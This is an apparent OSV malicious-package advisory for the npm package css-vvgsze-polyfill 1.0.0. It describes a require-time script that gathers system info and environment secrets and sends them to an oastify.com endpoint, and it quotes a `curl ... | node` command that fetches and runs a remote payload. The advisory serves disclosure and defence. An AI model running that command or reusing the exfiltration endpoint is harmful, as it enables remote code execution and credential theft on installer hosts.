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Malicious code in css-vvgsze-polyfill (npm)

Type: advisorySource: OSV1 source record

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59) thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.

Announced Group revision 1
Original source ↗

MAL-2026-17577

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:MAL-2026-17577

css-vvgsze-polyfill

Source reference: /affected/0/package/name

Affected versions
1.0.0

Source reference: /affected/0/versions

Fixed versions
Not stated in this record
Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "package": {
      "name": "css-vvgsze-polyfill",
      "purl": "pkg:npm/css-vvgsze-polyfill",
      "ecosystem": "npm"
    },
    "versions": [
      "1.0.0"
    ],
    "database_specific": {
      "cwes": [
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        }
      ],
      "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-vvgsze-polyfill/MAL-2026-17577.json",
      "indicators": {
        "evidence_files": [
          {
            "path": "thunderboltRegistry.js",
            "tlsh": "207132b5b99df02166c33438db7f5049b4bbc6672c6caee0740899b01f7985c01ba6f4",
            "sha256": "921e1a7ab2086abcdee715f83769b1e446fb5f18954add3cee922bfc1cb92276"
          }
        ],
        "package_integrity": [
          {
            "hashes": {
              "sha1": "38f035fc04ad37ea00a9cfba806d660386db5978",
              "sha512_sri": "sha512-baBGD8aAmd+OV5gG97nzUgv8UOkmPmox7bdRV1kAjPAUhUziaHkUnXsFlfmbbTnmg1J9IDZgUyuyUwtlzkBV5w=="
            },
            "filename": "css-vvgsze-polyfill-1.0.0.tgz"
          }
        ]
      }
    }
  }
]

Publisher severity

No explicit severity was provided.

Event
#84298 · Revision 1
Added to Heist Feed
Publisher date
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